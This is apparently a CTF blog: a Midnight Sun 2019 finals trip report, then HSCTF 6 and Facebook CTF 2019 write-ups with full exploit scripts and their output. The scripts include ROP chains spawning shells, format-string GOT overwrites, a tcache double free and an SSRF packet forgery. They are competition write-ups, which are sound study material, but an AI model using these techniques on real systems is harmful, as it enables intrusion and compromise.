CTFするぞ

CTF以外のことも書くよ

Midnight Sun CTF 2019 Finals参加記

Midnight Sun CTF 2019 Finalにdcuaで参加し、14チーム中8位でした。 チームメンバーにpwnerがいたので私はrevとhardwareを中心に取り組みました。 いろんな人とお話できて楽しかったです。

取り組んだ問題たち:https://bitbucket.org/ptr-yudai/writeups/src/master/2019/Midnight_Sun_CTF_2019_Finals/

大会概要

旅費は一人$600まででした。 金曜日の朝に成田空港を出て金曜日の午後にストックホルムに付きました。 久しぶりに長時間の飛行機に乗りましたが、やっぱり映画が楽しいです。 あとFinnairの機内食が予想以上においしかったです。

空港からホテルまでは電車とバスで1時間半以上かかります。 ホテルが思ったよりしょぼくて、次のような面白要素がありました。

  • 周りにピザ屋1軒以外に食料調達できる店が無い
  • 部屋に歯ブラシやフェイスタオルなどが無い
  • 冷蔵庫は無いが電子レンジがある
  • 会場まで遠い(駅まで徒歩15分)

なんでここにホテル建てたんだ?って思うほど周りに何もなかったです。

大会の会場は学校で、外部へのインターネットアクセスやWiFiもあったので良かったです。 また、各種飲み物や食べ物が好きなだけ貰えるのも良かったです。 大会は24時間なのですが、ホテルには帰らず会場に24時間いなければなりません。 一応寝るスペースはありましたが、つらかったです。

問題

今後参加する方のために、取り組んだ問題の概要をまとめます。

Crypto

私とふるつきでRSA問2つを挑戦したのですが、いずれも解けませんでした。 1つ目(RZA)はN, Cと不動点Mが渡されて、Cを解読する問題です。ほとんどのチームは解けてました。 2つ目(RZA2)は素数qがpに依存して作られている問題で、適当に近似してCopper Smith's Attackを試しましたが解けませんでした。 他のチームの人に聞いたところ、ビット数が足りないのである程度ブルートフォースする必要があったらしいです。

Web

web問は基本的にst98さんが解いてくれましたが、heavensdoorという問題だけは解きました。 なんかURLに10個数字を入れると何かの関数に渡されて計算結果が返ってくるのですが、これとunix timeが一致すればフラグが得られます。 ブラックボックスで各引数を変えながら関数の式を大まかに予想していって解きました。 全然web問じゃなかったです。

Rev

私は2つ挑戦してどちらも解けました。 1つ目(revlutionary)はフラグをチェックするバイナリで、終端文字がNULLであることを利用すれば逆から計算できます。 やってることは1文字目の文字コードがXXなら buf[0x2aXX] を参照し、次に2文字目がYYなら buf[0xXXYY] を参照する、という風になっています。 buf上にNULLは3つだけ存在し、そのうち1つは0xAABBのBBの部分が }文字コードと一致したためそこから逆算しました。

2つ目(shaken-and-stirred)は入力を暗号化するバイナリで、1バイトごとのストリーム暗号っぽかったです。 1文字ずつ総当りしたいのですがバッファをごちゃごちゃする処理にすごい時間がかかるので、処理後のバッファをダンプして、それを予め使うようにバイナリを改造してから総当りしました。 バッファをスクランブルした後にもちょっとだけ処理があるので、バッファを書き換えるだけでなく、その処理が上手く再現できる命令も用意する必要があります。 ちなみにフラグにRC4と書いてあったので、そういうことらしいです。

Hardware

3つHardware問題があり、これは別の部屋に行って解くことができます。私は1つだけ解きました。 1つ目(Devious Digital Device)はXORゲートをたくさん使った回路で、左にマトリクスLEDがあり、右にシフトレジスタと16個のLEDが並んでいます。 適当に入力を変えるとマトリクスLEDがそれとなくQRコードっぽいことが分かりました。 そこで、ファインダパターンなど固定のモジュールを観測し、それが正しく光る/消える状態になるような入力を1ビットずつ調べ、正しい入力を特定しました。 現れたQRコードをデコードするとフラグになりましたが、実はそれは罠でそのフラグを運営に見せると正しいフラグが貰えました。(なんで?)

2つ目(GB Calc)はゲームボーイの問題で、実機のゲームボーイとカセットに入っているROMが渡されます。 動かすと電卓なのですが、イコールを押すとスタックの値が書き換わるようで、何回も連続してイコールを押すことでスタックの値をいくらでも上書きできます。 canaryが付いているので適当にやるとstack smashing detectedと表示されて終わるのですが、ROMを逆アセンブルするとcanaryは固定で0x5858でした。 なのでリターンアドレスを書き換えることでPCを取れるのですが、フラグを表示するような関数が見つからず解けませんでした。 解いたチームの方に聞いたところ、ゲームオーバー画面でフラグ用のパレットが生成されるようで、それを構成してから表示させてやればフラグが現れたようです。

3つ目(Measurement For Realz)は相関電力解析の問題っぽかったです。 AESの回路とオシロスコープを使って電力を測定するところからやるのですが、オシロスコープとの通信が上手くいかなかった上、使える時間が限られていたので断念しました。 この問題は唯一誰も解いてませんでした。

HSCTF 6 Writeup

I played HSCTF 6 in yoshikingdom and our team reached 11th place. I didn't plan to play this CTF but @y05h1k1ng suggested us to play this one as a joke (not in ordinary team) because it was about to the end of the CTF. So, 11th place in half a day. Not bad.

I solved pwn/forensic challs mainly and here I'm going to write the solutions for pwn challs since most of the forensic challs were boring. I like the pwn challs especially the last 3 heap ones though I couldn't finish 2 of them in the short time.

[Pwn 51] Intro to Netcat

Just nc to theserver.

[Pwn 168] Return to Sender

The binary has a simple stack overflow vulnerability and a win function which spawns the shell. So, we just have to overwrite the return address.

from ptrlib import *

elf = ELF("./return-to-sender")
sock = Socket("pwn.hsctf.com", 1234)

payload = b'A' * 0x14
payload += p32(elf.symbol("win"))
sock.sendline(payload)

sock.interactive()
$ python solve.py 
[+] __init__: Successfully connected to pwn.hsctf.com:1234
[ptrlib]$ Where are you sending your mail to today? Alright, to AAAAAAAAAAAAAAAAAAAA¶ it goes!
cat flag
[ptrlib]$ hsctf{fedex_dont_fail_me_now}

[Pwn 243] Combo Chain Lite

The binary has a simple stack overflow and it gives us the address of system. It also has "/bin/sh" and we can use them to execute the shell.

from ptrlib import *

elf = ELF("./combo-chain-lite")
sock = Socket("pwn.hsctf.com", 3131)

rop_pop_rdi = 0x00401273

sock.recvuntil(": ")
addr_system = int(sock.recvline().rstrip(), 16)
addr_binsh = 0x402051

payload = b'A' * 0x10
payload += p64(rop_pop_rdi)
payload += p64(addr_binsh)
payload += p64(addr_system)
sock.sendline(payload)

sock.interactive()
$ python solve.py 
[+] __init__: Successfully connected to pwn.hsctf.com:3131
[ptrlib]$ cat flag
Dude you hear about that new game called /bin/sh? Enter the right combo for some COMBO CARNAGE!: [ptrlib]$ hsctf{wheeeeeee_that_was_fun}

[Pwn 333] Storytime

Same as the previous challs. The binary has a simple stack overflow vulnerability but no address is given. I leaked the libc address through GOT using write as rdx is big enough to leak the address when exiting the vuln function. The libc version turned out to be libc6_2.23-0ubuntu11_amd64.so using the libc database. After leaking the address we can just execute system("/bin/sh") because it's on libc-2.23.

from ptrlib import *

elf = ELF("./storytime")
#sock = Process("./storytime")
libc = ELF("./libc6_2.23-0ubuntu11_amd64.so")
sock = Socket("pwn.hsctf.com", 3333)

plt_write = 0x4004a0
rop_pop_rdi = 0x00400703
rop_pop_rsi_r15 = 0x00400701

payload = b'A' * 0x38
payload += p64(rop_pop_rsi_r15)
payload += p64(elf.got("read"))
payload += p64(0)
payload += p64(rop_pop_rdi)
payload += p64(1)
payload += p64(plt_write)
payload += p64(elf.symbol("_start"))
sock.recvuntil("story: \n")
sock.sendline(payload)
addr_read = u64(sock.recv(8))
logger.info("read = " + hex(addr_read))
libc_base = addr_read - libc.symbol("read")
logger.info("libc base = " + hex(libc_base))

payload = b'A' * 0x38
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("system"))
sock.recvuntil("story: \n")
sock.sendline(payload)

sock.interactive()

Good.

$ python solve.py 
[+] __init__: Successfully connected to pwn.hsctf.com:3333
[+] <module>: read = 0x7f13fd176250
[+] <module>: libc base = 0x7f13fd07f000
[ptrlib]$ cat flag
[ptrlib]$ hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}

I think there may be another easier solution for this because the next challenge is very similar.

[Pwn 365] Combo Chain

It's same as the previous challenge.

from ptrlib import *

elf = ELF("./combo-chain")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./combo-chain")
libc = ELF("./libc6_2.23-0ubuntu11_amd64.so")
sock = Socket("pwn.hsctf.com", 2345)

plt_printf = 0x401050
rop_ret = 0x0040101a
rop_pop_rdi = 0x00401263

# leak
payload = b'A' * 0x10
payload += p64(rop_ret) # align
payload += p64(rop_pop_rdi)
payload += p64(elf.got("gets"))
payload += p64(plt_printf)
payload += p64(elf.symbol("_start"))
sock.recvuntil(": ")
sock.sendline(payload)
addr_gets = u64(sock.recv(6))
logger.info("gets = " + hex(addr_gets))
libc_base = addr_gets - libc.symbol("gets")
logger.info("libc base = " + hex(libc_base))

# get the shell!
payload = b'A' * 0x10
payload += p64(rop_ret) # align
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("system"))
sock.recvuntil(": ")
sock.sendline(payload)

sock.interactive()
$ python solve.py 
[+] __init__: Successfully connected to pwn.hsctf.com:2345
[+] <module>: gets = 0x7f34b0f6ad80
[+] <module>: libc base = 0x7f34b0efc000
[ptrlib]$ cat flag
[ptrlib]$ hsctf{i_thought_konami_code_would_work_here}

[Pwn 397] Bit

We can flip 4 bit in the memory. As there is a flag function, I changed the puts@plt written in puts@got to the flag address.

from ptrlib import *

elf = ELF("./bit")
#sock = Process("./bit")
sock = Socket("pwn.hsctf.com", 4444)

target = elf.got("exit")
before = 0x080484f6
after = elf.symbol("flag")
gomi = elf.got("setvbuf")

x = 0
for i in range(4):
    a = (before >> (i * 8)) & 0xff
    b = (after >> (i * 8)) & 0xff
    for j in range(8):
        if (a >> j) & 1 != (b >> j) & 1:
            sock.recvuntil("byte: ")
            sock.sendline(hex(target + i)[2:])
            sock.recvuntil("bit: ")
            sock.sendline(str(j))
            sock.recvuntil("byte: ")
            print(sock.recvline())
            x += 1

for i in range(4 - x):
    sock.recvuntil("byte: ")
    sock.sendline(hex(gomi)[2:])
    sock.recvuntil("bit: ")
    sock.sendline("0")
            
sock.interactive()

Be careful running this script as it goes infinite loop because exit(flag) calls exit inside.

$ python solve.py
...
[ð] pwn gods like you deserve this: hsctf{flippin_pwn_g0d}
...

[Pwn 425] Byte

We can change 2 bytes in this challenge and we have to change a local variable from 0 to 1. As the binary has a format string vulnerability, we can easily leak the address of the stack.

from ptrlib import *

#sock = Process("./byte")
sock = Socket("pwn.hsctf.com", 6666)

sock.recvuntil("byte: ")
sock.sendline("%7$p")
addr_stack = int(sock.recvuntil(" "), 16)
addr_target = addr_stack - 314
logger.info("target = " + hex(addr_target))

sock.recvuntil("byte: ")
sock.sendline(hex(addr_target)[2:])

sock.interactive()
$ python solve.py 
[+] __init__: Successfully connected to pwn.hsctf.com:6666
[+] <module>: target = 0xffb0200a
[ptrlib]$ ffb0200a has been nullified!

that was easy, right? try the next level (bit). here's your flag: hsctf{l0l-opt1mizati0ns_ar3-disabl3d}

[Pwn 427] Caesar's Revenge

It's caesar cipher service. The binary has a format string vulnerability.

from ptrlib import *

def decode(data, key):
    out = b''
    for c in data:
        if ord("a") <= c <= ord("z") or ord("A") <= c <= ord("Z"):
            out += bytes([c - 1])
        else:
            out += bytes([c])
    return out

elf = ELF("./caesars-revenge")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./caesars-revenge")
#delta = 0xe7
libc = ELF("libc6_2.23-0ubuntu11_amd64.so")
sock = Socket("pwn.hsctf.com", 4567)
delta = 0xf0

# Stage 1
writes = {elf.got("puts"): elf.symbol("caesar")}
payload = fsb(
    pos = 24,
    writes = writes,
    bs = 1,
    bits = 64
)
sock.recvuntil(": ")
sock.sendline(decode(payload, 1))
sock.recvuntil("shift: ")
sock.sendline("1")

# Stage 2
payload = b'%117$p'
sock.recvuntil(": ")
sock.sendline(decode(payload, 1))
sock.recvuntil("shift: ")
sock.sendline("1")
sock.recvuntil("Result: ")
addr_libc_start_main = int(sock.recvline().rstrip(), 16)
libc_base = addr_libc_start_main - libc.symbol("__libc_start_main") - delta
logger.info("libc base = " + hex(libc_base))

# Stage 3
one_gadget = libc_base + 0x4526a
writes = {elf.got("puts"): one_gadget}
payload = fsb(
    pos = 24,
    writes = writes,
    bs = 1,
    bits = 64
)
sock.recvuntil(": ")
sock.sendline(decode(payload, 1))
sock.recvuntil("shift: ")
sock.sendline("1")

sock.interactive()
$ python solve.py
[+] __init__: Successfully connected to pwn.hsctf.com:4567
[+] <module>: libc base = 0x7fb8a741d000
[ptrlib]$ cat flag
Result:                                                                                                          ð                                                                                                                                                                                                                          À                                                                                                                                                                                                                                                                                                                                                                                                                                                     ù                                                                                                                                                                                                                                                               c@@[ptrlib]$ hsctf{should_have_left_%n_back_in_ancient_rome}

[Pwn 451] Aria Writer

It's a heap challenge and there are 3 options in the menu.

  1. global = malloc(size); read(0, global, size);
  2. free(global);
  3. write(1, name, 0xc8);

It's a simple double free and tcache is enabled. However, there's no way to allocate a large chunk and leak the data written in global. I found RELRO disabled, which means we can change the addresses in GOT. So, my plan is:

  1. set free@got to puts@plt
  2. set global to puts@got
  3. leak puts address by calling free(global);
  4. set write@got to one gadget rce
  5. get the shell by calling write(1, name, 0xc8);

It's not necessary to use write so I could solve this challenge without using name.

from ptrlib import *

def alloc(size, data):
    sock.recvuntil("> ")
    sock.sendline("1")
    sock.recvuntil("> ")
    sock.sendline(str(size))
    sock.recvuntil("> ")
    sock.sendline(data)

def free():
    sock.recvuntil("> ")
    sock.sendline("2")

def secret():
    sock.recvuntil("> ")
    sock.sendline("3")

elf = ELF("./aria-writer")
libc = ELF("./libc-2.27.so")
#sock = Process("./aria-writer")
sock = Socket("pwn.hsctf.com", 2222)

plt_puts = 0x400750

# name
sock.recvuntil("> ")
sock.sendline("/bin/sh")

# double free for shell
alloc(0x38, "A")
free()
free()
alloc(0x38, p64(elf.got("write")))
alloc(0x38, "")

# double free for libc leak
alloc(0x28, "B")
free()
free()
alloc(0x28, p64(elf.symbol("global")))
alloc(0x28, "")

alloc(0x18, "C")
free()
free()
alloc(0x18, p64(elf.got("free")))
alloc(0x18, "")

# free@got = puts@plt
alloc(0x18, p64(plt_puts))

# global = puts@got
alloc(0x28, p64(elf.got("puts")))

# libc leak
free()
sock.recvline()
addr_puts = u64(sock.recvline().rstrip())
libc_base = addr_puts - libc.symbol("puts")
logger.info("libc base = " + hex(libc_base))

# write@got = one gadget
one_gadget = libc_base + 0x4f322
alloc(0x38, p64(one_gadget))

# get the shell!
secret()

sock.interactive()

I used write but other functions such as exit are OK. I wonder if it's the intended solution......

$ python solve.py 
[+] __init__: Successfully connected to pwn.hsctf.com:2222
[+] <module>: libc base = 0x7fc1182f3000
[ptrlib]$ cat flag
secret name o: :[ptrlib]$ 
hsctf{1_should_tho}[ptrlib]$

Facebook CTF 2019 Writeup

Facebook CTF 2019 had been held from June 1st 00:00 UTC to June 2nd 00:00 UTC. I played this CTF as a member of zer0pts. We got 9372pts and reached 18th place. I solved several challs and gained 4718pts.

f:id:ptr-yudai:20190603091033p:plain

The CTF was pretty hard but I really enjoyed it. Thank you for holding such a nice CTF!

The challenge tasks and my solvers are available here. And this is the python library used in my solvers.

[pwnable 100pts] overfloat

Description: nc challenges.fbctf.com 1341
File: overfloat.tar.gz

The binary has a stack overflow in the float array. We can simply overwrite the return address and do ROP since the SSP is disabled. I leaked the libc address in the 1st ROP and then went back to _start, and got the shell in the 2nd ROP.

from ptrlib import *
from struct import pack, unpack

elf = ELF("./overfloat")
libc = ELF("./libc-2.27.so")
#sock = Process("./overfloat")
sock = Socket("challenges.fbctf.com", 1341)

rop_pop_rdi = 0x00400a83
plt_puts = 0x400690

def rop(payload):
    for i in range(0x28 // 8 + 9):
        sock.recvuntil(": ")
        sock.sendline("3.14")
    for i in range(0, len(payload), 4):
        sock.recvuntil(": ")
        sock.sendline(repr(unpack('f', payload[i:i+4])[0]))
    sock.recvuntil(": ")
    sock.sendline("done")

# Stage 1
payload = p64(rop_pop_rdi)
payload += p64(elf.got("printf"))
payload += p64(plt_puts)
payload += p64(elf.symbol("_start"))
rop(payload)
sock.recvuntil("BON VOYAGE!\n")
addr_printf = u64(sock.recvline().rstrip())
libc_base = addr_printf - libc.symbol("printf")
dump("libc base = " + hex(libc_base))

# Stage 2
rop_pop_rax = libc_base + 0x000439c7
rop_pop_rsi = libc_base + 0x00023e6a
rop_pop_rdx = libc_base + 0x00001b96
rop_syscall = libc_base + 0x000013c0

payload = p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(rop_pop_rsi)
payload += p64(0)
payload += p64(rop_pop_rdx)
payload += p64(0)
payload += p64(rop_pop_rax)
payload += p64(59)
payload += p64(rop_syscall)
rop(payload)

sock.interactive()

Good.

$ python solve.py 
[+] Socket: Successfully connected to challenges.fbctf.com:1341
[ptrlib] libc base = 0x7f298264d000
[ptrlib]$ BON VOYAGE!
cat /home/overfloat/flag
[ptrlib]$ fb{FloatsArePrettyEasy...}

[pwnable 410pts] otp_server

Description: nc challenges.fbctf.com 1338
File: otp_server.tar.gz

We can set key and encrypt a message, which are located in the bss section. At first glance there seems no overflow. As I looked into the encryption function, I found the cause of the vulnerability lies in snprintf. It properly stores our input with maximum length 0x104. However, the return value of snprintf is not the size finally stored but the size we tried to store. Also, the buffer is right next to the key and we can coalesce those two regions. This means we can control the return value of snprintf between 0 to 0x204, which leads a buffer overread. Now we got the libc address, but how can we get the shell?

Using the same vulnerability, we can overwrite the return address. Although the nonce token is generated randomly, we can check it before exitting the main function. And we can overwrite the return address byte by byte. This method requires long time to finish the exploit, but I think it's the intended way.

from ptrlib import *

def set_key(key):
    sock.recvuntil(">>> ")
    sock.sendline("1")
    sock.recvline()
    sock.send(key)

def encrypt(msg):
    sock.recvuntil(">>> ")
    sock.sendline("2")
    sock.recvline()
    sock.send(msg)
    sock.recvline()
    return sock.recvline().rstrip()

libc = ELF("./libc-2.27.so")
#sock = Process("./otp_server")
sock = Socket("challenges3.fbctf.com", 1338)
delta = 0xe7

# Leak libc & canary
set_key("\xff" * 0x108)
result = encrypt("\xff" * 0x100)
canary = result[0x108:0x110]
addr_libc_start_main = u64(result[0x118:0x120])
libc_base = addr_libc_start_main - libc.symbol("__libc_start_main") - delta
dump("libc base = " + hex(libc_base))
dump(b"canary = " + canary)

def overwrite(pos, target):
    x = 0
    setFlag = True
    while True:
        if setFlag:
            setFlag = False
            set_key("A" * (0x18 + pos - x) + "\x00")
        nonce = u64(encrypt("A" * 0x100)[:4]) ^ 0x41414141
        if (target >> (8 * (7 - x))) & 0xff == nonce >> 24:
            print(hex(target), hex(nonce >> 8))
            setFlag = True
            x += 1
            if x == 8:
                break

rop_pop_rdi = libc_base + 0x0002155f
rop_pop_rsi = libc_base + 0x00023e6a
rop_pop_rax = libc_base + 0x000439c7
rop_ret = libc_base + 0x000008aa
rop_syscall = libc_base + 0x000013c0
overwrite(0x30, rop_syscall)
overwrite(0x28, 59)
overwrite(0x20, rop_pop_rax)
overwrite(0x18, 0)
overwrite(0x10, rop_pop_rsi)
overwrite(0x08, libc_base + next(libc.find("/bin/sh")))
overwrite(0x00, rop_pop_rdi)

#_ = input()
sock.sendline("3")
sock.interactive()

Thank you admins for preparing the server in Tokyo :)

$ python solve.py 
[+] Socket: Successfully connected to challenges3.fbctf.com:1338
[ptrlib] libc base = 0x7f1da9615000
[ptrlib] b'canary = \x00\xdd\xc1\xa1<X\x1f\x95'
0x7f1da96163c0 0x7186
0x7f1da96163c0 0x42f
0x7f1da96163c0 0x7f86c1
0x7f1da96163c0 0x1d1602
0x7f1da96163c0 0xa93e39
0x7f1da96163c0 0x610472
0x7f1da96163c0 0x631ad4
0x7f1da96163c0 0xc0757f
0x3b 0xe653
0x3b 0xaa15
0x3b 0x26b7
0x3b 0xf359
0x3b 0xea64
0x3b 0xfebf
0x3b 0x7d33
0x3b 0x3be623
0x7f1da96589c7 0x5efa
0x7f1da96589c7 0x606f
0x7f1da96589c7 0x7fb553
0x7f1da96589c7 0x1d5b94
0x7f1da96589c7 0xa9b825
0x7f1da96589c7 0x65be41
0x7f1da96589c7 0x890277
0x7f1da96589c7 0xc78c49
0x0 0x1704
0x0 0x84f5
0x0 0x4fe3
0x0 0x9d29
0x0 0x40cf
0x0 0xab08
0x0 0x9ff1
0x0 0xe7f2
0x7f1da9638e6a 0x3084
0x7f1da9638e6a 0x5b7d
0x7f1da9638e6a 0x7fb9e7
0x7f1da9638e6a 0x1df8d0
0x7f1da9638e6a 0xa91371
0x7f1da9638e6a 0x63ea9f
0x7f1da9638e6a 0x8eace3
0x7f1da9638e6a 0x6a0c1a
0x7f1da97c8e9a 0xc460
0x7f1da97c8e9a 0xc851
0x7f1da97c8e9a 0x7f005f
0x7f1da97c8e9a 0x1da11d
0x7f1da97c8e9a 0xa9d63c
0x7f1da97c8e9a 0x7cb6b2
0x7f1da97c8e9a 0x8e7195
0x7f1da97c8e9a 0x9a03e9
0x7f1da963655f 0x8b48
0x7f1da963655f 0xae89
0x7f1da963655f 0x7fbafa
0x7f1da963655f 0x1de4ef
0x7f1da963655f 0xa97bea
0x7f1da963655f 0x63ad41
0x7f1da963655f 0x658341
0x7f1da963655f 0x5fe3ba
[ptrlib]$ ----- END ROP ENCRYPTED MESSAGE -----
1. Set Key
2. Encrypt message
3. Exit
>>> [ptrlib]$ cat /home/otp_server/flag
fb{One_byte_aT_a_time}

[misc 100pts] homework_assignment_1337

Description: Your homework assignment this evening is to write a simple Thrift client.
Your client must call the ping method on the homework server challenges.fbctf.com:9090. The server allows you to check your work, try using the server to ping facebook.com or something.
The ping.thrift file is provided below.
File: homework_assignment_1337.tar.gz

We are given a thrift file. Let's use the PingBot.

if __name__ == '__main__':
    client = make_client(PingBot, "challenges.fbctf.com", 9090)
    arg = Ping(Proto.TCP, "facebook.com:80", "Hello")
    pong = client.ping(arg)
    print(pong)

Hmm, it seems a proxy rather than a echo server.

$ python solve.py 
Pong(code=0, data='HTTP/1.1 400 Bad Request\r\n')

The thrift file has a curious function that cannot be used.

  // You do not have to call this method as part of your homework.
  // I added this to check people's work, it is my admin interface so to speak.
  // It should only work for localhost connections either way, if your client
  // tries to call it, your connection will be denied, hahaha!
  PongDebug pingdebug(1:Debug dummy),

OK, so let's send a forgery packet of the PongDebug on the server.

from ptrlib import p32
import thriftpy
from thriftpy.rpc import make_client

ping = thriftpy.load(
    'ping.thrift', module_name="ping_thrift"
)
Ping = ping.Ping
Pong = ping.Pong
Debug = ping.Debug
PongDebug = ping.PongDebug
PingBot = ping.PingBot
Proto = ping.Proto

if __name__ == '__main__':
    client = make_client(PingBot, "challenges.fbctf.com", 9090)
    packet = b"\x80\x01\x00\x01"
    packet += p32(len("pingdebug"), order='big')
    packet += b"pingdebug"
    packet += b"\x00\x00\x00\x00\x0c\x00\x01\x08\x00\x01\x00\x00\x00\x7b\x00\x00"
    arg = Ping(Proto.TCP, "localhost:9090", packet)
    pong = client.ping(arg)
    print(pong)

Perfect!

$ python solve.py 
Pong(code=0, data=b'\x80\x01\x00\x02\x00\x00\x00\tpingdebug\x00\x00\x00\x00\x0c\x00\x00\x0f\x00\x01\x0c\x00\x00\x00\x02\x08\x00\x01\x00\x00\x00\x01\x0b\x00\x02\x00\x00\x00\x0elocalhost:9090\x0b\x00\x03\x00\x00\x00\x1f"fb{congr@ts_you_w1n_the_g@me}"\x00\x08\x00\x01\x00\x00\x00\x01\x0b\x00\x02\x00\x00\x00\x0elocalhost:9090\x0b\x00\x03\x00\x00\x00!\x80\x01\x00\x01\x00\x00\x00\tpingdebug\x00\x00\x00\x00\x0c\x00\x01\x08\x00\x01\x00\x00\x00{\x00\x00\x00\x00\x00')

[reversing 100pts] imageprot

Description: We have had some issues with profile photo theft as of late, so I built a proof of concept vault to store your pictures, it's so secure, even I don't know how to get the photo back out!
File: imageprot.tar.gz

It's an ELF binary written with Rust. I found something curious in the binary.

$ string imageprot -n 100 | less
/rustc/6c2484dc3c532c052f159264e970278d8b77cdc9/src/libcore/str/pattern.rs9fjfwCA9dx1pMmVgcW90aF11LQr1wSB4ZVhJRl8uY2MudQogICggIi81ICNfIF8hYC8KIKdJIHggLiJhIF4gRiIuIF8sCYAhICNcXzthIiwtLYJifCsvCiAhICAiXtwjICQgICAhOy8IaCAgICDfsV8YcEhPVDBcYk9QABMOECAYImtvJmQKCiAgICAVfxJtcEBhcG90IE3pMIbTryCSJMmgKcfC1mxQoMogMSgiaCxZIyF9IF0xYS0bId/kIGMgLiNlIV8hYSMvIF8sCiAgICBdXThkJysqJStqd9DrCpUwICIhI38iJCMlJSQkOy8LXSEiIyAkTVoyARFhJkx+aycCUTQSobGBaAFgk6EfWPHQBBNPT9kpfnN2aHZuBXsaBSMgFBUWFxgZGhxqa2hpF0Nqc3R1dnl/eXo8RDpGB0ZjSlNUVQpXVlsao9ql5qWmqdW+mbS1trfExqHCgYmIi4XI1YWduZSVlpeYmcbi4+Tl5ufo8uXY8/T19vf4hYXBwsPExbnI4snK0dLT1NXWl9rb2J
...
/VgHajKFLJ53yD6MimpC98gTOVxgr34zK9H9M5YDKEyFQxfJA8sC6UbF7Hc6ypKEvDjveeZw9I1ftUA7OaV+bgFwoPd6Z00XT/RX0N1VmiHrE/XtOkff+dqYDsNsDJgHupTWb7yxsyTOTNsEOmhSJ8RO2/FbfFlNKZaV78NbuNsnZxbwrkfWGBy5zkci8P9kp387vgPsTBfOo9lIDRxJSI2cyUKHnFlIDSHPHsz/i9Jc7lYldIw1TVAvRS5rc3d8jIBogTKK/YL6jmrEUjNbm16NF9xJToKcWU0IC1lOiIxZUogMWc6IA5pHiHf89H2d5ngKAWPrShI3q8lIoKgKgiCoHYIgqAqCIKgMQeooCoIgqAqdP2gKgiCoFUHqKAqCIKgKgiC4CgKgOAAIoKgKgiPvVEI1uVrWM30KnWfrQAigqAqCIKgKneMriQG/YoqCIKgKgaFoCp3gt8qSIyKKgiCoHYIjKJqCPygagqMoFUEqKAqCILcVRPCoicFj6JqVI2vAAiCoCoIgvwqCIKgH9/5

It seems to be a base64-encoded string of a big data. I extracted it and decoded the file.

$ hexdump -C pon | less
00000000  f5 f8 df c0 20 3d 77 1d  69 32 65 60 71 6f 74 68  |.... =w.i2e`qoth|
00000010  5d 75 2d 0a f5 c1 20 78  65 58 49 46 5f 2e 63 63  |]u-... xeXIF_.cc|
00000020  2e 75 0a 20 20 28 20 22  2f 35 20 23 5f 20 5f 21  |.u.  ( "/5 #_ _!|
00000030  60 2f 0a 20 a7 49 20 78  20 2e 22 61 20 5e 20 46  |`/. .I x ."a ^ F|
00000040  22 2e 20 5f 2c 09 80 21  20 23 5c 5f 3b 61 22 2c  |". _,..! #\_;a",|
00000050  2d 2d 82 62 7c 2b 2f 0a  20 21 20 20 22 5e dc 23  |--.b|+/. !  "^.#|
00000060  20 24 20 20 20 21 3b 2f  08 68 20 20 20 20 df b1  | $   !;/.h    ..|
00000070  5f 18 70 48 4f 54 30 5c  62 4f 50 00 13 0e 10 20  |_.pHOT0\bOP.... |
...

It has some string such as eXIF and pHOT0\bOP, which reminds me of JPEG header. I tried to find the XOR key of this file and found the first part to be like \n -=[ teapot ]=-\n\n but the key was too long to restore. Let's find the key in another way.

When I tried this challenge, @theoldmoon0602 had already found that the binary works if it could resolve challenges.fbctf.com. @theoldmoon0602 also found that the binary tries to access to http://challenges.fbctf.com:80/vault_is_intern. So, I added the following config to my /etc/hosts

127.0.0.1       challenges.fbctf.com

and set up the following simple server.

from flask import *

app = Flask(__name__)

@app.route('/vault_is_intern', methods=['GET'])
def vault():
    return "Hello, World"

if __name__ == '__main__':
    app.run(
        host = '0.0.0.0',
        port = '80',
        debug=True
    )

It seems it's working. (It quits when something like gdb is running on the machine.)

$ ./imageprot 
Welcome to our image verification and protection software!
This program ensures that malicious hackers cannot access our
secret images.
[+] Internal network connectivity verified.
[+] Image integrity verified, exiting.

I checked the packets in Wireshark and found a curious DNS packet.

f:id:ptr-yudai:20190603094507p:plain

It tries to access to httpbin.org...? I added the following line to /etc/hosts and run the binary again.

127.0.0.1       httpbin.org
$ ./imageprot 
Welcome to our image verification and protection software!
This program ensures that malicious hackers cannot access our
secret images.
[+] Internal network connectivity verified.
thread 'main' panicked at 'Failed to fetch URI: Error(Hyper(Error(Connect, Os { code: 111, kind: ConnectionRefused, message: "Connection refused" })), "https://httpbin.org/status/418")', src/libcore/result.rs:997:5
note: Run with `RUST_BACKTRACE=1` environment variable to display a backtrace.

Finally found the teapot!

$ curl https://httpbin.org/status/418

    -=[ teapot ]=-

       _...._
     .'  _ _ `.
    | ."` ^ `". _,
    \_;`"---"`|//
      |       ;/
      \_     _/
        `"""`

Let's restore the JPEG file.

with open("pon", "rb") as f:
    buf = f.read()

with open("key", "rb") as f:
    key = f.read()

for i in range(len(buf)):
    buf = buf[:i] + bytes([buf[i]^key[i%len(key)]]) + buf[i+1:]

with open("out", "wb") as f:
    f.write(buf)

Great!

f:id:ptr-yudai:20190603095708j:plain

[misc 896pts] evil

Description: I'm trying to break into the EVIL club and I've figured out their password. I still can't get in though because they now have a new secret evil handshake. I've attached what I captured from the old handshake, maybe it will help.
Server: nc 35.155.188.29 8000
File: evil.tar.gz

@st98 considered that this challenge might be related to the evil bit. So, I tried this one because I like the evil bits :)

The given pcap file has a TCP stream:

What's the secret password then?
The word of the day is lemons.
Every Villain Is Lemons
Welcome to the club evildoer

The packets don't have the evil bits set to 1. However, I found that every evil bit is set to 1 in the remote server.

f:id:ptr-yudai:20190603100139p:plain

So, let's set the evil bit to 1 and access to the server. I used this kernel module to modify the evil bit for every packet.

# lsmod | grep evil
evil                   16384  0
# nc 35.155.188.29 8000
So you know the evil handshake?
What's the secret password then?
The word of the day is loganberries.
Every Villain Is Loganberries
fb{th4t5_th3_3vi1est_th1ng_!_c4n_im4g1ne}

[pwnable 494pts] rank

Description: nc challenges.fbctf.com 1339
File: rank.tar.gz

There are 12 titles in the bss section but we can access to arbitrary range. In order to leak the libc address, I prepared the address to write@got in the buffer used in the user input.

# libc leak
payload = b"A" * 8 + p64(elf.got("write"))
evil_show(payload)
rank(0, (addr_buf - addr_list) // 8 + 1)
